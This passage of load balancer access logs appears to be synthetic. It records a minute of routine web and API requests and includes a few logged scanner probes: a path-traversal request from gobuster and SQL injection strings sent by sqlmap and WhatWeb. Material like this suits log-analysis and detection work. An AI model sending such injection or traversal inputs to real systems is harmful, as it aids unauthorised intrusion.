0.445204 0.097779 200 200 608 1348 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdea-976eac952bef4c37a9a4a2c0" "prod-api-alb.example.com" "-" 9 2024-11-01T00:27:06.048861Z "forward" "-" "-" "10.0.95.89:443" "200" "-" "-" +https 2024-11-01T00:27:07.255069Z staging-alb 156.54.27.163:61976 84.156.144.100:8080 0.043210 0.400842 0.072356 302 302 935 5454 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdeb-2c5e5832946143f9aa0ebe87" "staging-alb.example.com" "-" 7 2024-11-01T00:27:07.255069Z "forward" "-" "-" "84.156.144.100:8080" "302" "-" "-" +http 2024-11-01T00:27:08.470909Z staging-alb 103.84.99.29:18349 187.48.209.160:443 0.080221 0.211319 0.095088 302 302 214 10582 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdec-38a930dcba214bbe905c2cc6" "staging-alb.example.com" "-" 6 2024-11-01T00:27:08.470909Z "forward" "-" "-" "187.48.209.160:443" "302" "-" "-" +https 2024-11-01T00:27:09.786062Z prod-web-alb 234.247.228.59:39675 10.0.165.162:443 0.079161 0.095289 0.063963 200 200 597 11531 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bded-13b5dffb626c46bba68b88e3" "prod-web-alb.example.com" "-" 3 2024-11-01T00:27:09.786062Z "forward" "-" "-" "10.0.165.162:443" "200" "-" "-" +http 2024-11-01T00:27:11.336732Z staging-alb 140.12.137.27:39896 127.2.91.194:8080 0.060753 0.716255 0.002681 200 200 416 11591 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdef-55a295ab849348baaf82a9d8" "staging-alb.example.com" "-" 7 2024-11-01T00:27:11.336732Z "forward" "-" "-" "127.2.91.194:8080" "200" "-" "-" +https 2024-11-01T00:27:11.489377Z prod-api-alb 141.79.118.198:33432 10.0.115.127:443 0.074008 0.112049 0.012581 200 200 878 13894 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdef-57eb1c4a940d44939097f4af" "-" "-" 5 2024-11-01T00:27:11.489377Z "forward" "-" "-" "10.0.115.127:443" "200" "-" "-" +https 2024-11-01T00:27:11.747888Z prod-api-alb 107.158.49.58:60784 10.0.70.222:443 0.017390 0.060726 0.027113 200 200 792 2386 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdef-f91af9f97dba4f5685af11f0" "prod-api-alb.example.com" "-" 4 2024-11-01T00:27:11.747888Z "forward" "-" "-" "10.0.70.222:443" "200" "-" "-" +https 2024-11-01T00:27:12.157478Z prod-web-alb 101.139.50.90:43399 10.0.255.246:443 0.019952 0.072977 0.074945 301 301 293 12601 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdf0-baf1e095ee9742d192f05449" "prod-web-alb.example.com" "-" 0 2024-11-01T00:27:12.157478Z "forward" "-" "-" "10.0.255.246:443" "301" "-" "-" +https 2024-11-01T00:27:13.485872Z prod-api-alb 116.12.210.225:26620 10.0.161.153:443 0.059285 0.489254 0.012614 200 200 26 12503 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdf1-7b956cd65d0745b49f128ac9" "prod-api-alb.example.com" "-" 1 2024-11-01T00:27:13.485872Z "forward" "-" "-" "10.0.161.153:443" "200" "-" "-" +https 2024-11-01T00:27:13.690969Z prod-web-alb 246.89.16.120:41930 10.0.246.1:443 0.039829 0.045952 0.021144 200 200 131 5321 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdf1-0400942922ec4a598cd980d7" "prod-web-alb.example.com" "-" 4 2024-11-01T00:27:13.690969Z "forward" "-" "-" "10.0.246.1:443" "200" "-" "-" +https 2024-11-01T00:27:14.772443Z staging-alb 97.204.37.198:47181 193.39.156.180:443 0.082426 0.004818 0.128476 200 200 331 12929 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdf2-5cb5e5e68241469f831ff717" "staging-alb.example.com" "-" 5 2024-11-01T00:27:14.772443Z "forward" "-" "-" "193.39.156.180:443" "200" "-" "-" +http 2024-11-01T00:27:15.771315Z staging-alb 5.83.234.96:52750 41.168.134.17:443 0.035420 0.361567 0.097318 200 200 468 7489 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdf3-b369294b438e4d7797adac38" "staging-alb.example.com" "-" 10 2024-11-01T00:27:15.771315Z "forward" "-" "-" "41.168.134.17:443" "200" "-" "-" +https 2024-11-01T00:27:17.629545Z prod-web-alb 81.173.132.72:37181 10.0.245.26:443 0.006593 0.143301 0.040262 200 200 226 6099 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdf5-7284bf49f2cf44d790aee63f" "prod-web-alb.example.com" "-" 5 2024-11-01T00:27:17.629545Z "forward" "-" "-" "10.0.245.26:443" "200" "-" "-" +http 2024-11-01T00:27:19.339593Z staging-alb 194.83.32.117:15791 33.196.244.51:8080 0.118622 0.374802 0.101810 302 302 933 6689 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdf7-843fc2438fe14db7969083b3" "staging-alb.example.com" "-" 2 2024-11-01T00:27:19.339593Z "forward" "-" "-" "33.196.244.51:8080" "302" "-" "-" +https 2024-11-01T00:27:20.996007Z staging-alb 155.157.174.13:20329 214.210.79.133:443 0.067597 0.472965 0.117051 200 200 636 7122 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdf8-2728879456b54dc8b2f4676a" "staging-alb.example.com" "-" 5 2024-11-01T00:27:20.996007Z "forward" "-" "-" "214.210.79.133:443" "200" "-" "-" +http 2024-11-01T00:27:22.166715Z staging-alb 215.19.66.45:63730 106.159.135.224:8080 0.046873 0.377376 0.128655 200 200 417 6380 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdfa-7c8205cd7c55492fb90c2c71" "staging-alb.example.com" "-" 8 2024-11-01T00:27:22.166715Z "forward" "-" "-" "106.159.135.224:8080" "200" "-" "-" +http 2024-11-01T00:27:22.412200Z staging-alb 86.224.133.3:38644 25.244.120.241:443 0.063817 0.482552 0.119177 404 404 518 4235 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdfa-2e1af5f9bd1843f197201055" "staging-alb.example.com" "-" 4 2024-11-01T00:27:22.412200Z "forward" "-" "-" "25.244.120.241:443" "404" "-" "-" +https 2024-11-01T00:27:22.603104Z prod-api-alb 77.23.165.154:41750 10.0.185.53:443 0.035566 0.126757 0.075792 404 404 132 3579 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdfa-62f72d8224724b12977d03f1" "prod-api-alb.example.com" "-" 8 2024-11-01T00:27:22.603104Z "forward" "-" "-" "10.0.185.53:443" "404" "-" "-" +https 2024-11-01T00:27:24.530832Z prod-web-alb 100.156.165.34:46882 10.0.141.46:443 0.092270 0.425835 0.063597 200 200 19 6415 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdfc-13246c8c770f4cceba1760e4" "prod-web-alb.example.com" "-" 5 2024-11-01T00:27:24.530832Z "forward" "-" "-" "10.0.141.46:443" "200" "-" "-" +https 2024-11-01T00:27:25.944758Z prod-web-alb 75.83.198.137:41709 10.0.9.151:443 0.012233 0.244717 0.009003 200 200 750 14213 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdfd-4d912c6050254bcea9f1011c" "prod-web-alb.example.com" "-" 10 2024-11-01T00:27:25.944758Z "forward" "-" "-" "10.0.9.151:443" "200" "-" "-" +https 2024-11-01T00:27:27.359770Z staging-alb 189.225.251.197:63357 54.72.60.72:80 0.022466 0.558096 0.109477 302 302 612 3898 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdff-ade84c10b8934121b8129d95" "staging-alb.example.com" "-" 6 2024-11-01T00:27:27.359770Z "forward" "-" "-" "54.72.60.72:80" "302" "-" "-" +https 2024-11-01T00:27:28.900746Z prod-web-alb 116.94.127.146:45154 10.0.121.175:443 0.066852 0.167782 0.003727 200 200 289 3566 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be00-d4a3880e3e804fb9a6a57cc7" "prod-web-alb.example.com" "-" 3 2024-11-01T00:27:28.900746Z "forward" "-" "-" "10.0.121.175:443" "200" "-" "-" +https 2024-11-01T00:27:30.613394Z prod-api-alb 64.20.196.14:57243 10.0.72.80:443 0.019497 0.127868 0.070987 301 301 525 555 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be02-98d30452c8ae4d90b7e97efa" "prod-api-alb.example.com" "-" 6 2024-11-01T00:27:30.613394Z "forward" "-" "-" "10.0.72.80:443" "301" "-" "-" +https 2024-11-01T00:27:31.010319Z staging-alb 63.235.192.218:30072 221.229.55.107:8080 0.080910 0.318380 0.123320 200 200 816 2232 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be03-bec9a13432b74ed8b6a05cbb" "staging-alb.example.com" "-" 3 2024-11-01T00:27:31.010319Z "forward" "-" "-" "221.229.55.107:8080" "200" "-" "-" +https 2024-11-01T00:27:31.514382Z prod-api-alb 203.122.19.234:53229 10.0.85.96:443 0.084034 0.416840 0.071303 200 200 473 13846 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be03-6e841d2a117c4716b7297ef7" "prod-api-alb.example.com" "-" 1 2024-11-01T00:27:31.514382Z "forward" "-" "-" "10.0.85.96:443" "200" "-" "-" +https 2024-11-01T00:27:33.444304Z staging-alb 186.58.96.131:45551 237.46.52.209:443 0.094200 0.249078 0.080926 200 200 415 7698 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be05-bbb4f5e2c64340a58a152744" "staging-alb.example.com" "-" 3 2024-11-01T00:27:33.444304Z "forward" "-" "-" "237.46.52.209:443" "200" "-" "-" +https 2024-11-01T00:27:34.867550Z staging-alb 72.164.139.167:16088 198.209.219.194:8080 0.106284 0.570010 0.062956 200 200 237 551 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be06-58fbde05ccd84c60abff7178" "staging-alb.example.com" "-" 7 2024-11-01T00:27:34.867550Z "forward" "-" "-" "198.209.219.194:8080" "200" "-" "-" +https 2024-11-01T00:27:36.771003Z prod-api-alb 88.132.91.219:52628 10.0.220.231:443 0.036728 0.330797 0.004518 301 301 932 13242 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be08-76004947f8814ba4919523da" "prod-api-alb.example.com" "-" 6 2024-11-01T00:27:36.771003Z "forward" "-" "-" "10.0.220.231:443" "301" "-" "-" +http 2024-11-01T00:27:37.425669Z staging-alb 151.80.35.214:49804 148.58.170.249:8080 0.142357 0.207273 0.099780 301 301 153 886 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be09-c4afd3a6438444a5ba94ba50" "staging-alb.example.com" "-" 6 2024-11-01T00:27:37.425669Z "forward" "-" "-" "148.58.170.249:8080" "301" "-" "-" +http 2024-11-01T00:27:38.855295Z staging-alb 12.235.184.166:22892 45.125.178.32:80 0.043111 0.551995 0.019794 200 200 355 13691 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be0a-4726f7e708a340508367c80a" "staging-alb.example.com" "-" 1 2024-11-01T00:27:38.855295Z "forward" "-" "-" "45.125.178.32:80" "200" "-" "-" +https 2024-11-01T00:27:39.264667Z staging-alb 47.233.30.35:21204 83.115.76.73:80 0.109508 0.002747 0.043918 200 200 523 11045 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be0b-c72f007d24fb4851a36d0d4f" "staging-alb.example.com" "-" 9 2024-11-01T00:27:39.264667Z "forward" "-" "-" "83.115.76.73:80" "200" "-" "-" +https 2024-11-01T00:27:40.569435Z prod-api-alb 119.14.151.181:37849 10.0.112.117:443 0.020823 0.022039 0.093298 404 404 832 14694 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be0c-de8752f5f3a448a9a0adf6ba" "prod-api-alb.example.com" "-" 7 2024-11-01T00:27:40.569435Z "forward" "-" "-" "10.0.112.117:443" "404" "-" "-" +https 2024-11-01T00:27:41.393784Z prod-web-alb 71.31.47.236:50586 10.0.244.57:443 0.020672 0.342161 0.065132 200 200 507 5436 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be0d-cb6b3586daa043deaa3b5fd6" "prod-web-alb.example.com" "-" 5 2024-11-01T00:27:41.393784Z "forward" "-" "-" "10.0.244.57:443" "200" "-" "-" +https 2024-11-01T00:27:42.857127Z prod-api-alb 71.74.243.26:12060 10.0.177.212:443 0.077436 0.362826 0.022504 200 200 410 14323 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be0e-ed62dcecaef3438aa67d9281" "prod-api-alb.example.com" "-" 9 2024-11-01T00:27:42.857127Z "forward" "-" "-" "10.0.177.212:443" "200" "-" "-" +https 2024-11-01T00:27:43.832241Z prod-web-alb 193.27.228.156:57043 10.0.176.248:443 0.058511 0.131370 0.081988 403 403 424 11925 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be0f-d21add6a77b6494d8c6958d2" "-" "-" 0 2024-11-01T00:27:43.832241Z "forward" "-" "-" "10.0.176.248:443" "403" "-" "-" +http 2024-11-01T00:27:45.363228Z staging-alb 190.207.106.160:17195 68.93.26.253:8080 0.065770 0.290890 0.025991 301 301 748 8107 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be11-ce05fb37a1a846adb7d72291" "staging-alb.example.com" "-" 9 2024-11-01T00:27:45.363228Z "forward" "-" "-" "68.93.26.253:8080" "301" "-" "-" +https 2024-11-01T00:27:46.737537Z prod-api-alb 235.31.118.132:18213 10.0.125.153:443 0.049920 0.059770 0.087953 200 200 312 11611 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be12-6af03f4e27a9478bb28d30a1" "prod-api-alb.example.com" "-" 0 2024-11-01T00:27:46.737537Z "forward" "-" "-" "10.0.125.153:443" "200" "-" "-" +https 2024-11-01T00:27:46.858937Z staging-alb 193.27.228.38:59558 137.87.214.207:80 0.023856 0.015700 0.087168 403 403 863 10893 "POST /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be12-e753a32ff07b49beb0193e74" "-" "-" 2 2024-11-01T00:27:46.858937Z "forward" "-" "-" "137.87.214.207:80" "403" "-" "-" +https 2024-11-01T00:27:47.784296Z prod-web-alb 246.187.213.80:51068 10.0.163.198:443 0.001672 0.304551 0.013984 200 200 670 2305 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be13-6a225e3911c8435c8f18206b" "prod-web-alb.example.com" "-" 10 2024-11-01T00:27:47.784296Z "forward" "-" "-" "10.0.163.198:443" "200" "-" "-" +https 2024-11-01T00:27:49.068301Z prod-api-alb 170.187.239.70:14197 10.0.253.137:443 0.056070 0.417317 0.094849 200 200 190 2253 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be15-bfd4f60a56a042dc91b5f0a9" "prod-api-alb.example.com" "-" 10 2024-11-01T00:27:49.068301Z "forward" "-" "-" "10.0.253.137:443" "200" "-" "-" +http 2024-11-01T00:27:50.236005Z staging-alb 219.100.234.107:57637 178.30.214.68:8080 0.039908 0.638067 0.103141 200 200 34 1768 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be16-abfdad97bd814cefa321116a" "staging-alb.example.com" "-" 0 2024-11-01T00:27:50.236005Z "forward" "-" "-" "178.30.214.68:8080" "200" "-" "-" +http 2024-11-01T00:27:51.218297Z staging-alb 52.102.40.98:42402 157.173.0.193:443 0.079855 0.519754 0.061220 200 200 612 14845 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be17-235cd58df0b64802ac5324f2" "staging-alb.example.com" "-" 3 2024-11-01T00:27:51.218297Z "forward" "-" "-" "157.173.0.193:443" "200" "-" "-" +http 2024-11-01T00:27:52.190303Z staging-alb 31.76.126.37:47445 215.169.37.144:80 0.026088 0.479865 0.143185 302 302 465 3284 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be18-18141bfc1e494b8b8cc0e588" "staging-alb.example.com" "-" 8 2024-11-01T00:27:52.190303Z "forward" "-" "-" "215.169.37.144:80" "302" "-" "-" +https 2024-11-01T00:27:53.834420Z prod-web-alb 223.222.92.50:19319 10.0.133.119:443 0.083894 0.496350 0.080705 200 200 719 11157 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be19-eaf64fa392d54cc5be5d071d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:27:53.834420Z "forward" "-" "-" "10.0.133.119:443" "200" "-" "-" +https 2024-11-01T00:27:54.936402Z prod-web-alb 121.215.20.164:11972 10.0.77.240:443 0.092239 0.011507 0.019565 200 200 750 13304 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be1a-ec2f9e3be7ef43baa906b9e0" "prod-web-alb.example.com" "-" 10 2024-11-01T00:27:54.936402Z "forward" "-" "-" "10.0.77.240:443" "200" "-" "-" +https 2024-11-01T00:27:56.149101Z prod-web-alb 157.190.191.201:30698 10.0.38.93:443 0.023202 0.124544 0.040844 200 200 544 8087 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be1c-9f3c54fce1924c5f92353882" "prod-web-alb.example.com" "-" 10 2024-11-01T00:27:56.149101Z "forward" "-" "-" "10.0.38.93:443" "200" "-" "-" +https 2024-11-01T00:27:56.465441Z prod-api-alb 185.181.39.39:42611 10.0.254.243:443 0.076788 0.312315 0.078973 200 200 522 4994 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be1c-10f3b7dbab8e4aea8f179d41" "-" "-" 2 2024-11-01T00:27:56.465441Z "forward" "-" "-" "10.0.254.243:443" "200" "-" "-" +https 2024-11-01T00:27:57.037103Z prod-web-alb 125.250.7.130:11933 10.0.96.128:443 0.088910 0.122544 0.021723 200 200 701 12125 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be1d-d21965c9bba041e39af0feff" "prod-web-alb.example.com" "-" 0 2024-11-01T00:27:57.037103Z "forward" "-" "-" "10.0.96.128:443" "200" "-" "-" +https 2024-11-01T00:27:58.124595Z prod-web-alb 1.236.143.43:28439 10.0.227.237:443 0.059241 0.355442 0.093878 302 302 638 3460 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows 